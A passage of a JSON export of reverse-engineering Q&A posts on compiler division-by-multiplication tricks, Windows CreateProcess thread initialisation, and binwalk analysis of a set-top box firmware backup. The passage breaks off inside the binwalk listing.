        "Body": "<p>Hi I want to write those instructions in C, I'm having trouble with <code>SAR EDX,6</code>,</p>\n\n<p><strong>ASM</strong></p>\n\n<pre><code>MOV EDX,8\nMOV EDI,1\nIMUL EDI,EDX\nMOV EAX,ED9CE24E\nIMUL EDI\nSAR EDX,6\n</code></pre>\n\n<p><strong>my try</strong></p>\n\n<pre><code>int edi=1\nint edx=8\nedi*=edx;\nedx=((long long)edi*0xED9CE24E) &gt;&gt; 32 &gt;&gt; 6;\n</code></pre>\n",
        "Title": "Why does the C compiler generate integer multiplication with large, seemingly random, numbers?",
        "Tags": "|assembly|c|",
        "Answer": "<p>Yes, the <code>sar</code> instruction is at least similar enough to <code>&gt;&gt;</code> to be valid in your code. Technically, <code>sar</code> is for <code>shift arithmetric right</code> which treats the carry/sign bit a bit different. But handling edge cases like overflow etc. can't be translated well from assembly to C anyway.</p>\n\n<p>The question that's more interesting is \"what does this do\". In this case, the compiler is using a trick to replace an (expensive) float division by a (cheap) integer multiplication.</p>\n\n<p>For example, calculating </p>\n\n<pre><code>int something=get_an_integer_from_somewhere();\nint result=(int)((double)something/1.2345)\n</code></pre>\n\n<p>is quite expensive.</p>\n\n<p>But, since <code>1/1.2345 = 0.810044552</code>, this is the same as </p>\n\n<p><code>result=(int)((double)something*0.810044552)</code>. </p>\n\n<p>Well, we replaced a division by a multiplication, but this is still expensive.</p>\n\n<p>However, we can write <code>0.810044552</code> as <code>3479114859</code>/<code>4294967296</code>. And <code>4294967296</code> \"happens\" to be 2^32. So we can rewrite the whole thing as</p>\n\n<p><code>result=something*3479114859/4294967296</code>. And suddenly we don't need the floating point multiplication/division anymore; we just need an integer division, which is, in this case, very inexpensive, as it's just a shift right by 32 bits.</p>\n\n<p>And this is what your <em>original</em> C code seems to have been, which was then optimized by the compiler to not use a float division:</p>\n\n<p><code>result=input/8.619</code></p>\n\n<p>Try it with some example values.</p>\n"
    },
    {
        "Id": "12861",
        "CreationDate": "2016-06-16T12:56:39.563",
        "Body": "<p>When calling <code>CreateProcess</code> internally it will call (obviously <code>ZwCreateProcessEx</code> and then) <code>ZwCreateThread</code> with a <code>CreateSuspended</code> set to <code>True</code>, then i assume final initialization is taking place. Afterwards it is calling <code>ZwResumeThread</code> and then everything is working as it should.</p>\n\n<p>My question is focused on the <code>ZwCreateThread</code> function:\n<a href=\"http://undocumented.ntinternals.net/index.html?page=UserMode%2FUndocumented%20Functions%2FNT%20Objects%2FThread%2FNtCreateThread.html\" rel=\"noreferrer\">http://undocumented.ntinternals.net/index.html?page=UserMode%2FUndocumented%20Functions%2FNT%20Objects%2FThread%2FNtCreateThread.html</a></p>\n\n<p>Where exactly in this whole <code>CreateProcess</code> Routine, it is allocating the memory in the remote process for the <code>ThreadStartRoutine</code> Parameter, which in the ZwCreateThread, is the parameter <code>ThreadContext-&gt;EAX</code>, i have seen a couple of NtAllocateVirtualMemory with <code>Protect</code> of value <code>PAGE_EXECUTE_READWRITE - 0x40</code> but none of them is allocating the memory for the <code>NewThreadRoutine</code>.. so where exactly the Thread entrypoint is being allocated?</p>\n",
        "Title": "CreateProcess - First thread routine - where is the memory allocated for the thread?",
        "Tags": "|windows|memory|winapi|thread|process|",
        "Answer": "<p>Disclaimer:  The implementation of these APIs is likely to change between versions of Windows.  I will be referencing 32-bit Windows XP SP3 in my answer.  Your results may vary.</p>\n\n<h2>How thread creation works</h2>\n\n<p>There are three structures that must be initialized before calling <a href=\"http://undocumented.ntinternals.net/index.html?page=UserMode%2FUndocumented%20Functions%2FNT%20Objects%2FThread%2FNtCreateThread.html\" rel=\"noreferrer\"><code>NtCreateThread</code></a>:</p>\n\n<ol>\n<li><a href=\"http://processhacker.sourceforge.net/doc/struct___i_n_i_t_i_a_l___t_e_b.html\" rel=\"noreferrer\"><code>INITIAL_TEB</code></a>: Contains pointers to the stack region</li>\n<li><a href=\"https://msdn.microsoft.com/en-us/library/windows/desktop/ms679284(v=vs.85).aspx\" rel=\"noreferrer\"><code>CONTEXT</code></a>: Contains the register state</li>\n<li><a href=\"https://msdn.microsoft.com/en-us/library/windows/hardware/ff557749(v=vs.85).aspx\" rel=\"noreferrer\"><code>OBJECT_ATTRIBUTES</code></a>: Contains security attributes for the thread</li>\n</ol>\n\n<p>In my implementation, there are dedicated functions that handle each of these tasks: <code>BaseCreateStack</code>, <code>BaseInitializeContext</code>, and <code>BaseFormatObjectAttributes</code>, respectively.</p>\n\n<p>The <code>BaseInitializeContext</code> function is the one you're interested in, however, since the new thread will begin at <code>CONTEXT.Eip</code>.</p>\n\n<p>Interestingly, <code>BaseInitializeContext</code> instead puts the thread's start address (i.e. the entry point of the new process) in <code>CONTEXT.Eax</code>.  And <code>CONTEXT.Eip</code> is set to the address of <code>BaseProcessStartThunk</code>.  (Since <code>kernel32</code> is mapped at the same address in every process, we know this will also be the address of <code>BaseProcessStartThunk</code> in the other process)</p>\n\n<p>So when we call <code>NtCreateThread</code>, we start a new thread in the other process at <code>BaseProcessStartThunk</code> with <code>eax</code> equal to the entry point.</p>\n\n<p><code>BaseProcessStartThunk</code> saves the start address from register <code>eax</code>. It sets the start address internally by calling <a href=\"https://msdn.microsoft.com/en-us/library/windows/hardware/ff567101(v=vs.85).aspx\" rel=\"noreferrer\"><code>NtSetInformationThread</code></a> with a <code>ThreadInformationClass</code> of <code>ThreadQuerySetWin32StartAddress</code> (see <code>ntddk.h</code>).  It then calls the start address.  Finally, when the thread returns, it calls <code>ExitThread</code>.</p>\n\n<h2>How the executable image is mapped into the new process</h2>\n\n<p>If you want to know the process was created in the first place, we have to go back a few steps.</p>\n\n<p>First, a handle to the new process executable is opened via <a href=\"https://msdn.microsoft.com/en-us/library/windows/hardware/ff567011(v=vs.85).aspx\" rel=\"noreferrer\"><code>NtOpenFile</code></a>.</p>\n\n<p>The file handle is used to create a <a href=\"https://msdn.microsoft.com/en-us/library/windows/hardware/ff563684(v=vs.85).aspx\" rel=\"noreferrer\">section</a> object via <a href=\"https://msdn.microsoft.com/en-us/library/windows/hardware/ff566428(v=vs.85).aspx\" rel=\"noreferrer\"><code>NtCreateSection</code></a>.</p>\n\n<p>A call to <a href=\"http://undocumented.ntinternals.net/index.html?page=UserMode%2FUndocumented%20Functions%2FNT%20Objects%2FSection%2FNtQuerySection.html\" rel=\"noreferrer\"><code>NtQuerySection</code></a> with <code>InformationClass</code> set to <code>SectionImageInformation</code> is made.  This parses the the section object and fills out a <a href=\"http://undocumented.ntinternals.net/index.html?page=UserMode%2FStructures%2FSECTION_IMAGE_INFORMATION.html\" rel=\"noreferrer\"><code>SECTION_IMAGE_INFORMATION</code></a> structure, which most notably includes fields the <code>EntryPoint</code> field.  This is how the entry point of the new process is determined.</p>\n\n<p>Eventually, <a href=\"https://doxygen.reactos.org/d2/d9f/ntoskrnl_2ps_2process_8c_source.html\" rel=\"noreferrer\"><code>NtCreateProcessEx</code></a> is called, given the section handle from <code>NtCreateSection</code> as a parameter.  This is what actually creates the new process and maps the executable image into the new process' address space, among many other things.  <code>NtCreateProcessEx</code> also provides the process handle that we pass to <code>NtCreateThread</code> to create the new thread.</p>\n"
    },
    {
        "Id": "12863",
        "CreationDate": "2016-06-16T14:33:35.813",
        "Body": "<p>Iv got firmware from vivax set-top box backed up on flash drive and I vould like to change splash screen on it. The firmware seem to be yaffs but I cant extract files in order to change something. </p>\n\n<pre><code>:~$ binwalk usb_backup_upgrade.bin \n\nDECIMAL       HEXADECIMAL     DESCRIPTION\n--------------------------------------------------------------------------------\n27288         0x6A98          SHA256 hash constants, little endian\n69888         0x11100         LZMA compressed data, properties: 0x5D, dictionary size: 16777216 bytes, uncompressed size: 1059144 bytes\n462876        0x7101C         LZMA compressed data, properties: 0x5D, dictionary size: 8388608 bytes, uncompressed size: 7916292 bytes\n</code></pre>\n\n<p>when I extract usb_backup_upgrade.bin Iv got 4 files</p>\n\n<pre><code>_usb_backup_upgrade.bin.extracted$ ls\n11100  11100.7z  7101C  7101C.7z  _7101C.extracted\n</code></pre>\n\n<p>First 11100</p>\n\n<pre><code>$ binwalk 11100\n\nDECIMAL       HEXADECIMAL     DESCRIPTION\n--------------------------------------------------------------------------------\n7812          0x1E84          JPEG image data, JFIF standard 1.01\n8058          0x1F7A          Unix path: /www.w3.org/1999/02/22-rdf-syntax-ns#\"&gt;\n8220          0x201C          Unix path: /ns.adobe.com/xap/1.0/g/img/\"&gt;\n25303         0x62D7          Unix path: /kfdf9k2R8cMvysvJWg/5xP/ADLSzurWTVNMMU/p&amp;#xA;yJFHeXSRevE1EkljNowk4xSSqv2SC1a0qrPjhfyslWy/5xX/ADLgUxTX+iT27U9SGSa5dGoQRVWt&amp;#xA;qH\n27374         0x6AEE          Unix path: /ns.adobe.com/xap/1.0/mm/\"\n27432         0x6B28          Unix path: /ns.adobe.com/xap/1.0/sType/ResourceRef#\"\n27505         0x6B71          Unix path: /ns.adobe.com/xap/1.0/sType/ResourceEvent#\"\n27580         0x6BBC          Unix path: /ns.adobe.com/xap/1.0/sType/ManifestItem#\"&gt;\n38474         0x964A          Unix path: /purl.org/dc/elements/1.1/\"&gt;\n772652        0xBCA2C         U-Boot version string, \"U-Boot 1.1.6 (Jan 16 2015 - 02:23:52)\"\n777583        0xBDD6F         POSIX tar archive, owner user name: \"s\", owner group name: \"o_cmd\"\n</code></pre>\n\n<p>and second </p>\n\n<pre><code>$ binwalk 7101C\n\nDECIMAL       HEXADECIMAL     DESCRIPTION\n--------------------------------------------------------------------------------\n0             0x0             eCos kernel exception handler, architecture: MIPSEL, exception vector table base address: 0x80558540\n640           0x280           eCos kernel exception handler, architecture: MIPSEL, exception vector table base address: 0x80558540\n4307602       0x41BA92        Unix path: /../../HB/app/tv/appTvVideo_dvb.c\n4389070       0x42F8CE        Unix path: /../../HB/app/zapper/appZapper.c\n4391820       0x43038C        CRC32 polynomial table, little endian\n4392970       0x43080A        Unix path: /../../HB/app/main/appMain.c\n4393342       0x43097E        Unix path: /../../HB/app/main/appWDT.c\n4393574       0x430A66        Unix path: /../../HB/app/menu/MApp_Menu.c\n4393758       0x430B1E        Unix path: /../../HB/app/menu/MApp_MenuChannel.c\n4397102       0x43182E        Unix path: /../../HB/app/monitor/appMonitor.c\n4398262       0x431CB6        Unix path: /../../HB/platform/api/font/apiVectorFont.c\n4398414       0x431D4E        Unix path: /../../HB/platform/api/zui/MApp_ZUI_APIcontrols.c\n4398666       0x431E4A        Unix path: /../../HB/platform/api/zui/MApp_ZUI_APIgdi.c\n4398882       0x431F22        Unix path: /../../HB/platform/api/zui/MApp_ZUI_APIwindow.c\n4399178       0x43204A        Unix path: /../../HB/platform/api/zui/MApp_ZUI_Main.c\n4399302       0x4320C6        Unix path: /../../HB/platform/api/zui/apiMvf_base.c\n4399654       0x432226        Unix path: /../../HB/platform/api/zui/apiMvf_grays.c\n4401186       0x432822        Unix path: /../../HB/platform/api/database/MApp_SaveData.c\n4401744       0x432A50        CRC32 polynomial table, little endian\n4402906       0x432EDA        Unix path: /../../HB/platform/api/database/apiDTVDataManager.c\n4404518       0x433526        Unix path: /../../HB/platform/api/chscan/apiChScan.c\n4405394       0x433892        Unix path: /../../HB/platform/api/EPG_Swap_DB/apiEPG_DB.c\n4408198       0x434386        Unix path: /../../HB/platform/api/EPG_Swap_DB/apiEPG_EIT_Swap.c\n4410158       0x434B2E        Unix path: /../../HB/platform/driver/pq/drvPQ.c\n4413646       0x4358CE        Unix path: /../../HB/platform/driver/pq/hal/kriti_mstar/include/QualityMap_BW.c\n4414022       0x435A46        Unix path: /../../HB/platform/driver/pq/hal/kriti_mstar/mhal_pq.c\n4415066       0x435E5A        Unix path: /../../HB/app/media/appMM_Browser.c\n4416158       0x43629E        Unix path: /../../HB/app/media/appPVR_playback.c\n4416918       0x436596        Unix path: /../../HB/app/media/MMfilesystem/apiFSUtil.c\n4417234       0x4366D2        Unix path: /../../HB/app/media/portinglayer/mm/src/porting_audio.c\n4425946       0x4388DA        Unix path: /../../HB/app/media/vdplayerV2/appMM_playback.c\n4426570       0x438B4A        Unix path: /../../HB/platform/zui/MApp_ZUI_ACTglobal.c\n4427538       0x438F12        Unix path: /../../HB/platform/zui/MApp_ZUI_GDISetup.c\n4427974       0x4390C6        Unix path: /../../HB/platform/zui/widgets/MApp_ZUI_CTLsolidprogressbar.c\n4428226       0x4391C2        Unix path: /../../HB/platform/zui/pagedoc/MApp_PvrZapper.c\n4428446       0x43929E        Unix path: /../../HB/platform/zui/pagedoc/MApp_Pvrv3.c\n4438850       0x43BB42        Unix path: /../../HB/platform/zui/pageview/MApp_ZUI_ACTAudioLanguage.c\n4439082       0x43BC2A        Unix path: /../../HB/platform/zui/pageview/MApp_ZUI_ACTChannelInfo.c\n4440318       0x43C0FE        Unix path: /../../HB/platform/zui/pageview/MApp_ZUI_ACTMediaMoviePlay.c\n4441950       0x43C75E        Unix path: /../../HB/platform/zui/pageview/MApp_ZUI_ACTMediaPlay.c\n4442178       0x43C842        Unix path: /../../HB/platform/zui/pageview/MApp_ZUI_ACTMediaSimpleStart_PVR.c\n4443290       0x43CC9A        Unix path: /../../HB/platform/zui/pageview/MApp_ZUI_ACTMenuPvrDevice.c\n4444006       0x43CF66        Unix path: /../../HB/platform/zui/pageview/MApp_ZUI_ACTPvrSubtitleLanguage.c\n4444586       0x43D1AA        Unix path: /../../HB/platform/zui/pageview/MApp_ZUI_ACTSubtitle.c\n4445218       0x43D422        Unix path: /../../HB/platform/zui/pageview/MApp_ZUI_ACTbookmanage.c\n4445966       0x43D70E        Unix path: /../../HB/platform/zui/pageview/MApp_ZUI_ACTprogedit.c\n4447410       0x43DCB2        Unix path: /../../HB/platform/zui/pageview/MApp_ZUI_ACTtvbanner.c\n4448530       0x43E112        Unix path: /../../HB/platform/zui/pageview/MApp_ZUI_ACTtvfavoritelist.c\n4448774       0x43E206        Unix path: /../../HB/platform/zui/pageview/MApp_ZUI_Utility.c\n5003844       0x4C5A44        Unix path: /ecos-y/PERFORCE/THEALE/Uranus/eCospro/Kappa/LIB_eCos_fileio_posix_fat_ntfs_jffs2_v3_c++_kappa_34kf_install/include/cyg/kernel/s\n5003845       0x4C5A45        eCos RTOS string reference: \"ecos-y/PERFORCE/THEALE/Uranus/eCospro/Kappa/LIB_eCos_fileio_posix_fat_ntfs_jffs2_v3_c++_kappa_34kf_install/include/cyg/kernel/sm\"\n5003875       0x4C5A63        eCos RTOS string reference: \"eCospro/Kappa/LIB_eCos_fileio_posix_fat_ntfs_jffs2_v3_c++_kappa_34kf_install/include/cyg/kernel/smp.hxx\"\n5003893       0x4C5A75        eCos RTOS string reference: \"eCos_fileio_posix_fat_ntfs_jffs2_v3_c++_kappa_34kf_install/include/cyg/kernel/smp.hxx\"\n5003981       0x4C5ACD        eCos RTOS string reference: \"ecos-y/PERFORCE/THEALE/Uranus/eCospro/Kappa/LIB_eCos_fileio_posix_fat_ntfs_jffs2_v3_c++_kappa_34kf_install/include/cyg/memalloc/\"\n5004011       0x4C5AEB        eCos RTOS string reference: \"eCospro/Kappa/LIB_eCos_fileio_posix_fat_ntfs_jffs2_v3_c++_kappa_34kf_install/include/cyg/memalloc/mempolt2.inl\"\n5004029       0x4C5AFD        eCos RTOS string reference: \"eCos_fileio_posix_fat_ntfs_jffs2_v3_c++_kappa_34kf_install/include/cyg/memalloc/mempolt2.inl\"\n5004125       0x4C5B5D        eCos RTOS string reference: \"ecos-y/PERFORCE/THEALE/Uranus/eCospro/packages/services/memalloc/common/v2_0_60/src/malloc.cxx\"\n5004155       0x4C5B7B        eCos RTOS string reference: \"eCospro/packages/services/memalloc/common/v2_0_60/src/malloc.cxx\"\n5004221       0x4C5BBD        eCos RTOS string reference: \"ecos-y/PERFORCE/THEALE/Uranus/eCospro/packages/io/fileio/v2_0_60/src/misc.cxx\"\n5004251       0x4C5BDB        eCos RTOS string reference: \"eCospro/packages/io/fileio/v2_0_60/src/misc.cxx\"\n5004333       0x4C5C2D        eCos RTOS string reference: \"ecos-y/PERFORCE/THEALE/Uranus/eCospro/packages/fs/fat/v2_0_60/src/fatfs_supp.c\"\n5004363       0x4C5C4B        eCos RTOS string reference: \"eCospro/packages/fs/fat/v2_0_60/src/fatfs_supp.c\"\n5005580       0x4C610C        Unix path: /ecos-y/PERFORCE/THEALE/Uranus/eCospro/packages/fs/fat/v2_0_60/src/fatfs_ncache.c\n5005581       0x4C610D        eCos RTOS string reference: \"ecos-y/PERFORCE/THEALE/Uranus/eCospro/packages/fs/fat/v2_0_60/src/fatfs_ncache.c\"\n5005611       0x4C612B        eCos RTOS string reference: \"eCospro/packages/fs/fat/v2_0_60/src/fatfs_ncache.c\"\n5005940       0x4C6274        Unix path: /ecos-y/PERFORCE/THEALE/Uranus/eCospro/packages/fs/fat/v2_0_60/src/fatfs_blib.c\n5005941       0x4C6275        eCos RTOS string reference: \"ecos-y/PERFORCE/THEALE/Uranus/eCospro/packages/fs/fat/v2_0_60/src/fatfs_blib.c\"\n5005971       0x4C6293        eCos RTOS string reference: \"eCospro/packages/fs/fat/v2_0_60/src/fatfs_blib.c\"\n5006676       0x4C6554        Unix path: /ecos-y/PERFORCE/THEALE/Uranus/eCospro/packages/io/disk/v2_0_60/src/disk.c\n5006677       0x4C6555        eCos RTOS string reference: \"ecos-y/PERFORCE/THEALE/Uranus/eCospro/packages/io/disk/v2_0_60/src/disk.c\"\n5006707       0x4C6573        eCos RTOS string reference: \"eCospro/packages/io/disk/v2_0_60/src/disk.c\"\n5008348       0x4C6BDC        Unix path: /ecos-y/PERFORCE/THEALE/Uranus/eCospro/packages/hal/common/v2_0_60/src/hal_misc.c\n5008349       0x4C6BDD        eCos RTOS string reference: \"ecos-y/PERFORCE/THEALE/Uranus/eCospro/packages/hal/common/v2_0_60/src/hal_misc.c\"\n5008379       0x4C6BFB        eCos RTOS string reference: \"eCospro/packages/hal/common/v2_0_60/src/hal_misc.c\"\n5008609       0x4C6CE1        eCos RTOS string reference: \"eCos][CPU INFO] : CPU Clock = %d : RTC Period = %d\"\n5009060       0x4C6EA4        Unix path: /ecos-y/PERFORCE/THEALE/Uranus/eCospro/packages/kernel/v2_0_60/src/common/clock.cxx\n5009061       0x4C6EA5        eCos RTOS string reference: \"ecos-y/PERFORCE/THEALE/Uranus/eCospro/packages/kernel/v2_0_60/src/common/clock.cxx\"\n5009091       0x4C6EC3        eCos RTOS string reference: \"eCospro/packages/kernel/v2_0_60/src/common/clock.cxx\"\n5009409       0x4C7001        eCos RTOS string reference: \"ecos-y/PERFORCE/THEALE/Uranus/eCospro/packages/kernel/v2_0_60/src/common/kapi.cxx\"\n5009439       0x4C701F        eCos RTOS string reference: \"eCospro/packages/kernel/v2_0_60/src/common/kapi.cxx\"\n5009493       0x4C7055        eCos RTOS string reference: \"ecos-y/PERFORCE/THEALE/Uranus/eCospro/Kappa/LIB_eCos_fileio_posix_fat_ntfs_jffs2_v3_c++_kappa_34kf_install/include/cyg/kernel/th\"\n5009523       0x4C7073        eCos RTOS string reference: \"eCospro/Kappa/LIB_eCos_fileio_posix_fat_ntfs_jffs2_v3_c++_kappa_34kf_install/include/cyg/kernel/thread.inl\"\n5009541       0x4C7085        eCos RTOS string reference: \"eCos_fileio_posix_fat_ntfs_jffs2_v3_c++_kappa_34kf_install/include/cyg/kernel/thread.inl\"\n5010176       0x4C7300        Unix path: /ecos-y/PERFORCE/THEALE/Uranus/eCospro/packages/kernel/v2_0_60/src/common/thread.cxx\n5010177       0x4C7301        eCos RTOS string reference: \"ecos-y/PERFORCE/THEALE/Uranus/eCospro/packages/kernel/v2_0_60/src/common/thread.cxx\"\n5010207       0x4C731F        eCos RTOS string reference: \"eCospro/packages/kernel/v2_0_60/src/common/thread.cxx\"\n5010465       0x4C7421        eCos RTOS string reference: \"ecos-y/PERFORCE/THEALE/Uranus/eCospro/packages/kernel/v2_0_60/src/common/except.cxx\"\n5010495       0x4C743F        eCos RTOS string reference: \"eCospro/packages/kernel/v2_0_60/src/common/except.cxx\"\n5010684       0x4C74FC        Unix path: /ecos-y/PERFORCE/THEALE/Uranus/eCospro/packages/kernel/v2_0_60/src/intr/intr.cxx\n5010685       0x4C74FD        eCos RTOS string reference: \"ecos-y/PERFORCE/THEALE/Uranus/eCospro/packages/kernel/v2_0_60/src/intr/intr.cxx\"\n5010715       0x4C751B        eCos RTOS string reference: \"eCospro/packages/kernel/v2_0_60/src/intr/intr.cxx\"\n5011337       0x4C7789        eCos RTOS string reference: \"ecos-y/PERFORCE/THEALE/Uranus/eCospro/packages/kernel/v2_0_60/src/sched/mlqueue.cxx\"\n5011367       0x4C77A7        eCos RTOS string reference: \"eCospro/packages/kernel/v2_0_60/src/sched/mlqueue.cxx\"\n5011925       0x4C79D5        eCos RTOS string reference: \"ecos-y/PERFORCE/THEALE/Uranus/eCospro/packages/kernel/v2_0_60/src/sched/sched.cxx\"\n5011955       0x4C79F3        eCos RTOS string reference: \"eCospro/packages/kernel/v2_0_60/src/sched/sched.cxx\"\n5012620       0x4C7C8C        Unix path: /ecos-y/PERFORCE/THEALE/Uranus/eCospro/packages/kernel/v2_0_60/src/sync/cnt_sem.cxx\n5012621       0x4C7C8D        eCos RTOS string reference: \"ecos-y/PERFORCE/THEALE/Uranus/eCospro/packages/kernel/v2_0_60/src/sync/cnt_sem.cxx\"\n5012651       0x4C7CAB        eCos RTOS string reference: \"eCospro/packages/kernel/v2_0_60/src/sync/cnt_sem.cxx\"\n5012833       0x4C7D61        eCos RTOS string reference: \"ecos-y/PERFORCE/THEALE/Uranus/eCospro/packages/kernel/v2_0_60/src/sync/flag.cxx\"\n5012863       0x4C7D7F        eCos RTOS string reference: \"eCospro/packages/kernel/v2_0_60/src/sync/flag.cxx\"\n5013293       0x4C7F2D        eCos RTOS string reference: \"ecos-y/PERFORCE/THEALE/Uranus/eCospro/Kappa/LIB_eCos_fileio_posix_fat_ntfs_jffs2_v3_c++_kappa_34kf_install/include/cyg/kernel/mb\"\n5013323       0x4C7F4B        eCos RTOS string reference: \"eCospro/Kappa/LIB_eCos_fileio_posix_fat_ntfs_jffs2_v3_c++_kappa_34kf_install/include/cyg/kernel/mboxt2.inl\"\n5013341       0x4C7F5D        eCos RTOS string reference: \"eCos_fileio_posix_fat_ntfs_jffs2_v3_c++_kappa_34kf_install/include/cyg/kernel/mboxt2.inl\"\n5014181       0x4C82A5        eCos RTOS string reference: \"ecos-y/PERFORCE/THEALE/Uranus/eCospro/packages/kernel/v2_0_60/src/sync/mutex.cxx\"\n5014211       0x4C82C3        eCos RTOS string reference: \"eCospro/packages/kernel/v2_0_60/src/sync/mutex.cxx\"\n5014897       0x4C8571        eCos RTOS string reference: \"ecos-y/PERFORCE/THEALE/Uranus/eCospro/packages/services/memalloc/common/v2_0_60/src/dlmalloc.cxx\"\n5014927       0x4C858F        eCos RTOS string reference: \"eCospro/packages/services/memalloc/common/v2_0_60/src/dlmalloc.cxx\"\n5015649       0x4C8861        eCos RTOS string reference: \"ecos-y/PERFORCE/THEALE/Uranus/eCospro/packages/language/c/libc/setjmp/v2_0_60/src/longjmp.cxx\"\n5015679       0x4C887F        eCos RTOS string reference: \"eCospro/packages/language/c/libc/setjmp/v2_0_60/src/longjmp.cxx\"\n5015829       0x4C8915        eCos RTOS string reference: \"ecos-y/PERFORCE/THEALE/Uranus/eCospro/Kappa/LIB_eCos_fileio_posix_fat_ntfs_jffs2_v3_c++_kappa_34kf_install/include/cyg/libc/stdi\"\n5015859       0x4C8933        eCos RTOS string reference: \"eCospro/Kappa/LIB_eCos_fileio_posix_fat_ntfs_jffs2_v3_c++_kappa_34kf_install/include/cyg/libc/stdio/stream.inl\"\n5015877       0x4C8945        eCos RTOS string reference: \"eCos_fileio_posix_fat_ntfs_jffs2_v3_c++_kappa_34kf_install/include/cyg/libc/stdio/stream.inl\"\n5016101       0x4C8A25        eCos RTOS string reference: \"ecos-y/PERFORCE/THEALE/Uranus/eCospro/packages/language/c/libc/stdio/v2_0_60/src/common/stream.cxx\"\n5016131       0x4C8A43        eCos RTOS string reference: \"eCospro/packages/language/c/libc/stdio/v2_0_60/src/common/stream.cxx\"\n5016201       0x4C8A89        eCos RTOS string reference: \"ecos-y/PERFORCE/THEALE/Uranus/eCospro/Kappa/LIB_eCos_fileio_posix_fat_ntfs_jffs2_v3_c++_kappa_34kf_install/include/cyg/libc/stdi\"\n5016231       0x4C8AA7        eCos RTOS string reference: \"eCospro/Kappa/LIB_eCos_fileio_posix_fat_ntfs_jffs2_v3_c++_kappa_34kf_install/include/cyg/libc/stdio/streambuf.inl\"\n5016249       0x4C8AB9        eCos RTOS string reference: \"eCos_fileio_posix_fat_ntfs_jffs2_v3_c++_kappa_34kf_install/include/cyg/libc/stdio/streambuf.inl\"\n5017624       0x4C9018        Unix path: /ecos-y/PERFORCE/THEALE/Uranus/eCospro/packages/language/c/libc/string/v2_0_60/src/strtok.cxx\n5017625       0x4C9019        eCos RTOS string reference: \"ecos-y/PERFORCE/THEALE/Uranus/eCospro/packages/language/c/libc/string/v2_0_60/src/strtok.cxx\"\n5017655       0x4C9037        eCos RTOS string reference: \"eCospro/packages/language/c/libc/string/v2_0_60/src/strtok.cxx\"\n5018041       0x4C91B9        eCos RTOS string reference: \"ecos-y/PERFORCE/THEALE/Uranus/eCospro/packages/io/fileio/v2_0_60/src/fd.cxx\"\n5018071       0x4C91D7        eCos RTOS string reference: \"eCospro/packages/io/fileio/v2_0_60/src/fd.cxx\"\n5018177       0x4C9241        eCos RTOS string reference: \"ecos-y/PERFORCE/THEALE/Uranus/eCospro/packages/io/fileio/v2_0_60/src/file.cxx\"\n5018207       0x4C925F        eCos RTOS string reference: \"eCospro/packages/io/fileio/v2_0_60/src/file.cxx\"\n5018605       0x4C93ED        eCos RTOS string reference: \"ecos-y/PERFORCE/THEALE/Uranus/eCospro/packages/io/fileio/v2_0_60/src/dir.cxx\"\n5018635       0x4C940B        eCos RTOS string reference: \"eCospro/packages/io/fileio/v2_0_60/src/dir.cxx\"\n5018749       0x4C947D        eCos RTOS string reference: \"ecos-y/PERFORCE/THEALE/Uranus/eCospro/packages/io/fileio/v2_0_60/src/select.cxx\"\n5018779       0x4C949B        eCos RTOS string reference: \"eCospro/packages/io/fileio/v2_0_60/src/select.cxx\"\n5018857       0x4C94E9        eCos RTOS string reference: \"ecos-y/PERFORCE/THEALE/Uranus/eCospro/packages/language/c/libc/startup/v2_0_60/src/main.cxx\"\n5018887       0x4C9507        eCos RTOS string reference: \"eCospro/packages/language/c/libc/startup/v2_0_60/src/main.cxx\"\n5019141       0x4C9605        eCos RTOS string reference: \"ecos-y/PERFORCE/THEALE/Uranus/eCospro/Kappa/LIB_eCos_fileio_posix_fat_ntfs_jffs2_v3_c++_kappa_34kf_install/include/cyg/libc/stdi\"\n5019171       0x4C9623        eCos RTOS string reference: \"eCospro/Kappa/LIB_eCos_fileio_posix_fat_ntfs_jffs2_v3_c++_kappa_34kf_install/include/cyg/libc/stdio/stdiofiles.inl\"\n5019189       0x4C9635        eCos RTOS string reference: \"eCos_fileio_posix_fat_ntfs_jffs2_v3_c++_kappa_34kf_install/include/cyg/libc/stdio/stdiofiles.inl\"\n5020472       0x4C9B38        Unix path: /ecos-y/PERFORCE/THEALE/Uranus/eCospro/packages/language/c/libc/startup/v2_0_60/src/_exit.cxx\n5020473       0x4C9B39        eCos RTOS string reference: \"ecos-y/PERFORCE/THEALE/Uranus/eCospro/packages/language/c/libc/startup/v2_0_60/src/_exit.cxx\"\n5020503       0x4C9B57        eCos RTOS string reference: \"eCospro/packages/language/c/libc/startup/v2_0_60/src/_exit.cxx\"\n5020609       0x4C9BC1        eCos RTOS string reference: \"ecos-y/PERFORCE/THEALE/Uranus/eCospro/packages/language/c/libc/startup/v2_0_60/src/atexit.cxx\"\n5020639       0x4C9BDF        eCos RTOS string reference: \"eCospro/packages/language/c/libc/startup/v2_0_60/src/atexit.cxx\"\n5021120       0x4C9DC0        Unix path: /ecos-y/PERFORCE/THEALE/Uranus/eCospro/packages/fs/ntfs/v2_0_60/src/attrib.c\n5021121       0x4C9DC1        eCos RTOS string reference: \"ecos-y/PERFORCE/THEALE/Uranus/eCospro/packages/fs/ntfs/v2_0_60/src/attrib.c\"\n5021151       0x4C9DDF        eCos RTOS string reference: \"eCospro/packages/fs/ntfs/v2_0_60/src/attrib.c\"\n5021876       0x4CA0B4        Unix path: /ecos-y/PERFORCE/THEALE/Uranus/eCospro/packages/fs/ntfs/v2_0_60/src/ntfs_blib.c\n5021877       0x4CA0B5        eCos RTOS string reference: \"ecos-y/PERFORCE/THEALE/Uranus/eCospro/packages/fs/ntfs/v2_0_60/src/ntfs_blib.c\"\n5021907       0x4CA0D3        eCos RTOS string reference: \"eCospro/packages/fs/ntfs/v2_0_60/src/ntfs_blib.c\"\n5033632       0x4CCEA0        Unix path: /home/mstar/PERFORCE/THEALE/utopia_release/UTPA-24.0.x_Kriti/project/kriti_ecos/../../mxlib/hal/kriti/audio/halAUDIO.c\n5033707       0x4CCEEB        eCos RTOS string reference: \"ecos/../../mxlib/hal/kriti/audio/halAUDIO.c\"\n5038144       0x4CE040        Unix path: /home/stb/PERFORCE/THEALE/utopia_release/UTPA-24.0.x_Kriti/project/kriti_ecos/../../mxlib/hal/kriti/dac/halDAC.c\n5038217       0x4CE089        eCos RTOS string reference: \"ecos/../../mxlib/hal/kriti/dac/halDAC.c\"\n5066028       0x4D4D2C        Unix path: /home/mstar/PERFORCE/THEALE/utopia_release/UTPA-24.0.x_Kriti/project/kriti_ecos/../../mxlib/hal/kriti/mvd/halMVD.c\n5066103       0x4D4D77        eCos RTOS string reference: \"ecos/../../mxlib/hal/kriti/mvd/halMVD.c\"\n5091476       0x4DB094        eCos RTOS string reference: \"eCos 